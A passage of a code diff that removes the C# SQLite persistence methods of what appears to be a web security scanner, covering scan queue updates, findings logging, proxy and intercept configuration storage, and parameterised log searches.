InjectionPoints=@InjectionPoints, FormatPlugin=@FormatPlugin, ScanPlugins=@ScanPlugins WHERE ScanID=@ScanID"; - Cmd.Parameters.AddWithValue("@ScanID", ScanID); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); - if(Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.BinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Status", Status); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.FullUrl); - Cmd.Parameters.AddWithValue("@SessionPlugin", SessionPlugin); - Cmd.Parameters.AddWithValue("@InjectionPoints", InjectionPoints); - Cmd.Parameters.AddWithValue("@FormatPlugin", FormatPlugin); - Cmd.Parameters.AddWithValue("@ScanPlugins", ScanPlugins); - Cmd.ExecuteNonQuery(); - } - } - } - - internal static void UpdateScanStatus(int ScanID, string Status) - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - using(SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "UPDATE ScanQueue SET Status=@Status WHERE ScanID=@ScanID"; - Cmd.Parameters.AddWithValue("@ScanID", ScanID); - Cmd.Parameters.AddWithValue("@Status", Status); - Cmd.ExecuteNonQuery(); - } - } - } - - internal static void UpdateScanStatus(List ScanIDs, string Status) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + IronProjectFile)) - { - Log.Open(); - - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (int ScanID in ScanIDs) - { - Cmd.CommandText = "UPDATE ScanQueue SET Status=@Status WHERE ScanID=@ScanID"; - Cmd.Parameters.AddWithValue("@ScanID", ScanID); - Cmd.Parameters.AddWithValue("@Status", Status); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - #endregion - - internal static void LogPluginResults(List Results) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (Finding PR in Results) - { - Cmd.CommandText = "INSERT INTO Findings (ID, HostName, Title, FinderName, FinderType, ScanID, Meta, Summary, Severity, Confidence, Type, UniquenessString) VALUES (@ID, @HostName, @Title, @FinderName, @FinderType, @ScanID, @Meta, @Summary, @Severity, @Confidence, @Type, @UniquenessString)"; - Cmd.Parameters.AddWithValue("@ID", PR.Id); - Cmd.Parameters.AddWithValue("@HostName", PR.AffectedHost); - Cmd.Parameters.AddWithValue("@Title", PR.Title); - Cmd.Parameters.AddWithValue("@FinderName", PR.FinderName); - Cmd.Parameters.AddWithValue("@FinderType", PR.FinderType); - Cmd.Parameters.AddWithValue("@ScanID", PR.ScanId); - Cmd.Parameters.AddWithValue("@Meta", PR.XmlMeta); - Cmd.Parameters.AddWithValue("@Summary", PR.XmlSummary); - Cmd.Parameters.AddWithValue("@Severity", GetSeverity(PR.Severity)); - Cmd.Parameters.AddWithValue("@Confidence", GetConfidence(PR.Confidence)); - Cmd.Parameters.AddWithValue("@Type", GetResultType(PR.Type)); - Cmd.Parameters.AddWithValue("@UniquenessString", PR.Signature); - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO Triggers (ID, TriggersEncoded, RequestTriggerDesc, RequestTrigger, RequestHeaders, RequestBody, BinaryRequest, ResponseTriggerDesc, ResponseTrigger, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip) VALUES (@ID, 1, @RequestTriggerDesc, @RequestTrigger, @RequestHeaders, @RequestBody, @BinaryRequest, @ResponseTriggerDesc, @ResponseTrigger, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip)"; - foreach (Trigger T in PR.Triggers.GetTriggers()) - { - Cmd.Parameters.AddWithValue("@ID", PR.Id); - Cmd.Parameters.AddWithValue("@RequestTriggerDesc", T.RequestTriggerDescription); - Cmd.Parameters.AddWithValue("@RequestTrigger", Tools.Base64Encode(T.RequestTrigger)); - Cmd.Parameters.AddWithValue("@RequestHeaders", T.Request.StoredHeadersString);// .GetHeadersAsString()); - if (T.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", T.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", T.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(T.Request.IsBinary)); - if (T.Response != null) - { - Cmd.Parameters.AddWithValue("@ResponseTriggerDesc", T.ResponseTriggerDescription); - Cmd.Parameters.AddWithValue("@ResponseTrigger", Tools.Base64Encode(T.ResponseTrigger)); - Cmd.Parameters.AddWithValue("@ResponseHeaders", T.Response.StoredHeadersString);// .GetHeadersAsString()); - if (T.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", T.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", T.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(T.Response.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", T.Response.RoundTrip); - } - else - { - Cmd.Parameters.AddWithValue("@ResponseTriggerDesc", ""); - Cmd.Parameters.AddWithValue("@ResponseTrigger", ""); - Cmd.Parameters.AddWithValue("@ResponseHeaders", ""); - Cmd.Parameters.AddWithValue("@ResponseBody", ""); - Cmd.Parameters.AddWithValue("@BinaryResponse", ""); - Cmd.Parameters.AddWithValue("@RoundTrip", 0); - } - Cmd.ExecuteNonQuery(); - } - if (PR.FromActiveScan) - { - try - { - Cmd.CommandText = "INSERT INTO BaseLine (FindingID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip) VALUES (@FindingID, @RequestHeaders, @RequestBody, @BinaryRequest, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip)"; - Cmd.Parameters.AddWithValue("@FindingID", PR.Id); - Cmd.Parameters.AddWithValue("@RequestHeaders", PR.BaseRequest.StoredHeadersString); - if(PR.BaseRequest.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", PR.BaseRequest.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", PR.BaseRequest.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(PR.BaseRequest.IsBinary)); - Cmd.Parameters.AddWithValue("@ResponseHeaders", PR.BaseResponse.StoredHeadersString); - if (PR.BaseResponse.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", PR.BaseResponse.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", PR.BaseResponse.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(PR.BaseResponse.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", PR.BaseResponse.RoundTrip); - Cmd.ExecuteNonQuery(); - } - catch { } - } - } - } - Create.Commit(); - } - } - } - internal static void LogException(IronException IrEx) - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) - { - DB.Open(); - using(SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "INSERT INTO Exceptions (ID, Title, Message, StackTrace) VALUES (@ID, @Title, @Message, @StackTrace)"; - Cmd.Parameters.AddWithValue("@ID", IrEx.ID); - Cmd.Parameters.AddWithValue("@Title", IrEx.Title); - Cmd.Parameters.AddWithValue("@Message", IrEx.Message); - Cmd.Parameters.AddWithValue("@StackTrace", IrEx.StackTrace); - Cmd.ExecuteNonQuery(); - } - } - } - - #region StoreConfig - internal static void StoreProxyConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM IronProxy"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO IronProxy (LoopBack, SystemProxy, Port) VALUES (@LoopBack, @SystemProxy, @Port)"; - Cmd.Parameters.AddWithValue("@LoopBack", AsInt(IronProxy.LoopBackOnly)); - Cmd.Parameters.AddWithValue("@SystemProxy", AsInt(IronProxy.SystemProxy)); - Cmd.Parameters.AddWithValue("@Port", IronProxy.Port.ToString()); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StoreUpstreamProxyConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM UpstreamProxy"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO UpstreamProxy (Use, IP, Port) VALUES (@Use, @IP, @Port)"; - if (IronProxy.UseSystemProxyAsUpStreamProxy) - { - Cmd.Parameters.AddWithValue("@Use", 2); - } - else if (IronProxy.UseUpstreamProxy) - { - Cmd.Parameters.AddWithValue("@Use", 1); - } - else - { - Cmd.Parameters.AddWithValue("@Use", 0); - } - Cmd.Parameters.AddWithValue("@IP", IronProxy.UpstreamProxyIP); - Cmd.Parameters.AddWithValue("@Port", IronProxy.UpstreamProxyPort.ToString()); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StoreRequestTextContentTypesConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM TextRequestTypes"; - Cmd.ExecuteNonQuery(); - foreach (string Type in Request.TextContentTypes) - { - Cmd.CommandText = "INSERT INTO TextRequestTypes (Type) VALUES (@Type)"; - Cmd.Parameters.AddWithValue("@Type", Type); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreResponseTextContentTypesConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM TextResponseTypes"; - Cmd.ExecuteNonQuery(); - foreach (string Type in Response.TextContentTypes) - { - Cmd.CommandText = "INSERT INTO TextResponseTypes (Type) VALUES (@Type)"; - Cmd.Parameters.AddWithValue("@Type", Type); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreScriptPathsConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM PyPath"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "DELETE FROM RbPath"; - Cmd.ExecuteNonQuery(); - foreach (string Path in IronScripting.PyPaths) - { - Cmd.CommandText = "INSERT INTO PyPath (Path) VALUES (@Path)"; - Cmd.Parameters.AddWithValue("@Path", Path); - Cmd.ExecuteNonQuery(); - } - foreach (string Path in IronScripting.RbPaths) - { - Cmd.CommandText = "INSERT INTO RbPath (Path) VALUES (@Path)"; - Cmd.Parameters.AddWithValue("@Path", Path); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreScriptCommandsConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM PyStartCommands"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "DELETE FROM RbStartCommands"; - Cmd.ExecuteNonQuery(); - foreach (string Command in IronScripting.PyCommands) - { - Cmd.CommandText = "INSERT INTO PyStartCommands (Command) VALUES (@Command)"; - Cmd.Parameters.AddWithValue("@Command", Command); - Cmd.ExecuteNonQuery(); - } - foreach (string Command in IronScripting.RbCommands) - { - Cmd.CommandText = "INSERT INTO RbStartCommands (Command) VALUES (@Command)"; - Cmd.Parameters.AddWithValue("@Command", Command); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreInterceptRules() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM InterceptRules"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO InterceptRules (Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts, RequestKeyword, RequestKeywordPlus, RequestKeywordMinus, PlusRequestKeyword, MinusRequestKeyword, ResponseKeyword, ResponseKeywordPlus, ResponseKeywordMinus, PlusResponseKeyword, MinusResponseKeyword, RequestRulesOnResponse) VALUES (@Get, @Post, @OtherMethods, @Html, @JS, @CSS, @Xml, @JSON, @OtherText, @Img, @OtherBinary, @Code200, @Code2xx, @Code301_2, @Code3xx, @Code403, @Code4xx, @Code500, @Code5xx, @FileExt, @FileExtPlus, @FileExtMinus, @PlusFileExts, @MinusFileExts, @Host, @HostPlus, @HostMinus, @PlusHosts, @MinusHosts, @RequestKeyword, @RequestKeywordPlus, @RequestKeywordMinus, @PlusRequestKeyword, @MinusRequestKeyword, @ResponseKeyword, @ResponseKeywordPlus, @ResponseKeywordMinus, @PlusResponseKeyword, @MinusResponseKeyword, @RequestRulesOnResponse)"; - Cmd.Parameters.AddWithValue("@Get", AsInt(IronProxy.InterceptGET)); - Cmd.Parameters.AddWithValue("@Post", AsInt(IronProxy.InterceptPOST)); - Cmd.Parameters.AddWithValue("@OtherMethods", AsInt(IronProxy.InterceptOtherMethods)); - Cmd.Parameters.AddWithValue("@Html", AsInt(IronProxy.InterceptHTML)); - Cmd.Parameters.AddWithValue("@JS", AsInt(IronProxy.InterceptJS)); - Cmd.Parameters.AddWithValue("@CSS", AsInt(IronProxy.InterceptCSS)); - Cmd.Parameters.AddWithValue("@Xml", AsInt(IronProxy.InterceptXML)); - Cmd.Parameters.AddWithValue("@JSON", AsInt(IronProxy.InterceptJSON)); - Cmd.Parameters.AddWithValue("@OtherText", AsInt(IronProxy.InterceptOtherText)); - Cmd.Parameters.AddWithValue("@Img", AsInt(IronProxy.InterceptImg)); - Cmd.Parameters.AddWithValue("@OtherBinary", AsInt(IronProxy.InterceptOtherBinary)); - Cmd.Parameters.AddWithValue("@Code200", AsInt(IronProxy.Intercept200)); - Cmd.Parameters.AddWithValue("@Code2xx", AsInt(IronProxy.Intercept2xx)); - Cmd.Parameters.AddWithValue("@Code301_2", AsInt(IronProxy.Intercept301_2)); - Cmd.Parameters.AddWithValue("@Code3xx", AsInt(IronProxy.Intercept3xx)); - Cmd.Parameters.AddWithValue("@Code403", AsInt(IronProxy.Intercept403)); - Cmd.Parameters.AddWithValue("@Code4xx", AsInt(IronProxy.Intercept4xx)); - Cmd.Parameters.AddWithValue("@Code500", AsInt(IronProxy.Intercept500)); - Cmd.Parameters.AddWithValue("@Code5xx", AsInt(IronProxy.Intercept5xx)); - Cmd.Parameters.AddWithValue("@FileExt", AsInt(IronProxy.InterceptCheckFileExtensions)); - Cmd.Parameters.AddWithValue("@FileExtPlus", AsInt(IronProxy.InterceptCheckFileExtensionsPlus)); - Cmd.Parameters.AddWithValue("@FileExtMinus", AsInt(IronProxy.InterceptCheckFileExtensionsMinus)); - Cmd.Parameters.AddWithValue("@PlusFileExts", Tools.ListToCsv(IronProxy.InterceptFileExtensions)); - Cmd.Parameters.AddWithValue("@MinusFileExts", Tools.ListToCsv(IronProxy.DontInterceptFileExtensions)); - Cmd.Parameters.AddWithValue("@Host", AsInt(IronProxy.InterceptCheckHostNames)); - Cmd.Parameters.AddWithValue("@HostPlus", AsInt(IronProxy.InterceptCheckHostNamesPlus)); - Cmd.Parameters.AddWithValue("@HostMinus", AsInt(IronProxy.InterceptCheckHostNamesMinus)); - Cmd.Parameters.AddWithValue("@PlusHosts", Tools.ListToCsv(IronProxy.InterceptHostNames)); - Cmd.Parameters.AddWithValue("@MinusHosts", Tools.ListToCsv(IronProxy.DontInterceptHostNames)); - Cmd.Parameters.AddWithValue("@RequestKeyword", AsInt(IronProxy.InterceptCheckRequestWithKeyword)); - Cmd.Parameters.AddWithValue("@RequestKeywordPlus", AsInt(IronProxy.InterceptCheckRequestWithKeywordPlus)); - Cmd.Parameters.AddWithValue("@RequestKeywordMinus", AsInt(IronProxy.InterceptCheckRequestWithKeywordMinus)); - Cmd.Parameters.AddWithValue("@PlusRequestKeyword", IronProxy.InterceptRequestWithKeyword); - Cmd.Parameters.AddWithValue("@MinusRequestKeyword", IronProxy.DontInterceptRequestWithKeyword); - Cmd.Parameters.AddWithValue("@ResponseKeyword", AsInt(IronProxy.InterceptCheckResponseWithKeyword)); - Cmd.Parameters.AddWithValue("@ResponseKeywordPlus", AsInt(IronProxy.InterceptCheckResponseWithKeywordPlus)); - Cmd.Parameters.AddWithValue("@ResponseKeywordMinus", AsInt(IronProxy.InterceptCheckResponseWithKeywordMinus)); - Cmd.Parameters.AddWithValue("@PlusResponseKeyword", IronProxy.InterceptResponseWithKeyword); - Cmd.Parameters.AddWithValue("@MinusResponseKeyword", IronProxy.DontInterceptResponseWithKeyword); - Cmd.Parameters.AddWithValue("@RequestRulesOnResponse", AsInt(IronProxy.RequestRulesOnResponse)); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StoreDisplayRules() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM DisplayRules"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO DisplayRules (Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts) VALUES (@Get, @Post, @OtherMethods, @Html, @JS, @CSS, @Xml, @JSON, @OtherText, @Img, @OtherBinary, @Code200, @Code2xx, @Code301_2, @Code3xx, @Code403, @Code4xx, @Code500, @Code5xx, @FileExt, @FileExtPlus, @FileExtMinus, @PlusFileExts, @MinusFileExts, @Host, @HostPlus, @HostMinus, @PlusHosts, @MinusHosts)"; - Cmd.Parameters.AddWithValue("@Get", AsInt(IronProxy.DisplayGET)); - Cmd.Parameters.AddWithValue("@Post", AsInt(IronProxy.DisplayPOST)); - Cmd.Parameters.AddWithValue("@OtherMethods", AsInt(IronProxy.DisplayOtherMethods)); - Cmd.Parameters.AddWithValue("@Html", AsInt(IronProxy.DisplayHTML)); - Cmd.Parameters.AddWithValue("@JS", AsInt(IronProxy.DisplayJS)); - Cmd.Parameters.AddWithValue("@CSS", AsInt(IronProxy.DisplayCSS)); - Cmd.Parameters.AddWithValue("@Xml", AsInt(IronProxy.DisplayXML)); - Cmd.Parameters.AddWithValue("@JSON", AsInt(IronProxy.DisplayJSON)); - Cmd.Parameters.AddWithValue("@OtherText", AsInt(IronProxy.DisplayOtherText)); - Cmd.Parameters.AddWithValue("@Img", AsInt(IronProxy.DisplayImg)); - Cmd.Parameters.AddWithValue("@OtherBinary", AsInt(IronProxy.DisplayOtherBinary)); - Cmd.Parameters.AddWithValue("@Code200", AsInt(IronProxy.Display200)); - Cmd.Parameters.AddWithValue("@Code2xx", AsInt(IronProxy.Display2xx)); - Cmd.Parameters.AddWithValue("@Code301_2", AsInt(IronProxy.Display301_2)); - Cmd.Parameters.AddWithValue("@Code3xx", AsInt(IronProxy.Display3xx)); - Cmd.Parameters.AddWithValue("@Code403", AsInt(IronProxy.Display403)); - Cmd.Parameters.AddWithValue("@Code4xx", AsInt(IronProxy.Display4xx)); - Cmd.Parameters.AddWithValue("@Code500", AsInt(IronProxy.Display500)); - Cmd.Parameters.AddWithValue("@Code5xx", AsInt(IronProxy.Display5xx)); - Cmd.Parameters.AddWithValue("@FileExt", AsInt(IronProxy.DisplayCheckFileExtensions)); - Cmd.Parameters.AddWithValue("@FileExtPlus", AsInt(IronProxy.DisplayCheckFileExtensionsPlus)); - Cmd.Parameters.AddWithValue("@FileExtMinus", AsInt(IronProxy.DisplayCheckFileExtensionsMinus)); - Cmd.Parameters.AddWithValue("@PlusFileExts", Tools.ListToCsv(IronProxy.DisplayFileExtensions)); - Cmd.Parameters.AddWithValue("@MinusFileExts", Tools.ListToCsv(IronProxy.DontDisplayFileExtensions)); - Cmd.Parameters.AddWithValue("@Host", AsInt(IronProxy.DisplayCheckHostNames)); - Cmd.Parameters.AddWithValue("@HostPlus", AsInt(IronProxy.DisplayCheckHostNamesPlus)); - Cmd.Parameters.AddWithValue("@HostMinus", AsInt(IronProxy.DisplayCheckHostNamesMinus)); - Cmd.Parameters.AddWithValue("@PlusHosts", Tools.ListToCsv(IronProxy.DisplayHostNames)); - Cmd.Parameters.AddWithValue("@MinusHosts", Tools.ListToCsv(IronProxy.DontDisplayHostNames)); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StoreJSTaintConfig() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM JSTaintConfig"; - Cmd.ExecuteNonQuery(); - - List> Lists = new List>() { new List(IronJint.DefaultSourceObjects), new List(IronJint.DefaultSinkObjects), new List(IronJint.DefaultSourceReturningMethods), new List(IronJint.DefaultSinkReturningMethods), new List(IronJint.DefaultArgumentReturningMethods), new List(IronJint.DefaultArgumentAssignedASourceMethods), new List(IronJint.DefaultArgumentAssignedToSinkMethods) }; - int MaxCount = 0; - foreach (List List in Lists) - { - if (List.Count > MaxCount) MaxCount = List.Count; - } - foreach (List List in Lists) - { - while (List.Count < MaxCount) - { - List.Add(""); - } - } - Cmd.CommandText = "INSERT INTO JSTaintConfig (SourceObjects, SinkObjects, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods) VALUES (@SourceObjects, @SinkObjects, @ArgumentAssignedASourceMethods, @ArgumentAssignedToSinkMethods, @SourceReturningMethods, @SinkReturningMethods, @ArgumentReturningMethods)"; - for (int i = 0; i < MaxCount; i++) - { - Cmd.Parameters.AddWithValue("@SourceObjects", Lists[0][i]); - Cmd.Parameters.AddWithValue("@SinkObjects", Lists[1][i]); - Cmd.Parameters.AddWithValue("@ArgumentAssignedASourceMethods", Lists[5][i]); - Cmd.Parameters.AddWithValue("@ArgumentAssignedToSinkMethods", Lists[6][i]); - Cmd.Parameters.AddWithValue("@SourceReturningMethods", Lists[2][i]); - Cmd.Parameters.AddWithValue("@SinkReturningMethods", Lists[3][i]); - Cmd.Parameters.AddWithValue("@ArgumentReturningMethods", Lists[4][i]); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreScannerSettings() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM ScannerSettings"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO ScannerSettings (MaxScannerThreads, MaxCrawlerThreads, UserAgent) VALUES (@MaxScannerThreads, @MaxCrawlerThreads, @UserAgent)"; - Cmd.Parameters.AddWithValue("@MaxScannerThreads", Scanner.MaxParallelScanCount); - Cmd.Parameters.AddWithValue("@MaxCrawlerThreads", Crawler.MaxCrawlThreads); - Cmd.Parameters.AddWithValue("@UserAgent", Crawler.UserAgent); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StorePassiveAnalysisSettings() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM PassiveAnalysisSettings"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "INSERT INTO PassiveAnalysisSettings (Proxy, Shell, Test, Scan, Probe) VALUES (@Proxy, @Shell, @Test, @Scan, @Probe)"; - Cmd.Parameters.AddWithValue("@Proxy", AsInt(PassiveChecker.RunOnProxyTraffic)); - Cmd.Parameters.AddWithValue("@Shell", AsInt(PassiveChecker.RunOnShellTraffic)); - Cmd.Parameters.AddWithValue("@Test", AsInt(PassiveChecker.RunOnTestTraffic)); - Cmd.Parameters.AddWithValue("@Scan", AsInt(PassiveChecker.RunOnScanTraffic)); - Cmd.Parameters.AddWithValue("@Probe", AsInt(PassiveChecker.RunOnProbeTraffic)); - Cmd.ExecuteNonQuery(); - } - Create.Commit(); - } - } - } - - internal static void StoreCharacterEscapingRules() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM CharacterEscapingRules"; - Cmd.ExecuteNonQuery(); - foreach (string[] Rule in Scanner.UserSpecifiedEncodingRuleList) - { - Cmd.CommandText = "INSERT INTO CharacterEscapingRules (RawCharacter, EncodedCharacter) VALUES (@RawCharacter, @EncodedCharacter)"; - Cmd.Parameters.AddWithValue("@RawCharacter", Rule[0]); - Cmd.Parameters.AddWithValue("@EncodedCharacter", Rule[1]); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void StoreParametersBlackList() - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteTransaction Create = DB.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "DELETE FROM ParametersBlackList"; - Cmd.ExecuteNonQuery(); - foreach (string ParameterName in StartScanJobWizard.ParametersBlackList) - { - Cmd.CommandText = "INSERT INTO ParametersBlackList (ParameterSection, ParameterName) VALUES (@ParameterSection, @ParameterName)"; - Cmd.Parameters.AddWithValue("@ParameterSection", "All"); - Cmd.Parameters.AddWithValue("@ParameterName", ParameterName); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - #endregion - - #region Search DB - internal static List SearchLogs(LogSearchQuery Query, int MinId, int MaxId) - { - List Results = new List(); - string DataSource = string.Format("data source={0}",GetLogSourceFileName(Query.LogSource)); - string QueryWithoutIds = GetQueryWithoutIdsParts(Query); - string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(MinId, MaxId)); - return SearchDB(DataSource, FullQuery, Query); - } - internal static List SearchLogs(LogSearchQuery Query, List LogIds, int StartIndex, int Count) - { - List Results = new List(); - string DataSource = string.Format("data source={0}", GetLogSourceFileName(Query.LogSource)); - string QueryWithoutIds = GetQueryWithoutIdsParts(Query); - string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(LogIds, StartIndex, Count)); - return SearchDB(DataSource, FullQuery, Query); - } - internal static List SearchLogs(LogSearchQuery Query, int ScanID) - { - List Results = new List(); - string DataSource = string.Format("data source={0}", GetLogSourceFileName(Query.LogSource)); - string QueryWithoutIds = GetQueryWithoutIdsParts(Query); - string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(ScanID)); - return SearchDB(DataSource, FullQuery, Query); - } - - static List SearchDB(string DataSource, string CmdString, LogSearchQuery Query) - { - List IronLogRecords = new List(); - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - if (Query.UrlMatchString.Length > 0) - { - cmd.Parameters.AddWithValue("@UrlMatchKeyword", GetUrlSearchQueryValuePart(Query.UrlMatchMode, Query.UrlMatchString)); - } - if (Query.Keyword.Length > 0) - { - cmd.Parameters.AddWithValue("@Keyword", string.Format("%{0}%", Query.Keyword)); - } - - if (Query.MethodsToCheck.Count > 0) - { - for (int i = 0; i < Query.MethodsToCheck.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@Method{0}", i), Query.MethodsToCheck[i]); - } - } - else if (Query.MethodsToIgnore.Count > 0) - { - for (int i = 0; i < Query.MethodsToIgnore.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@Method{0}", i), Query.MethodsToIgnore[i]); - } - } - - if (Query.HostNamesToCheck.Count > 0) - { - for (int i = 0; i < Query.HostNamesToCheck.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@HostName{0}", i), Query.HostNamesToCheck[i]); - } - } - else if (Query.HostNamesToIgnore.Count > 0) - { - for (int i = 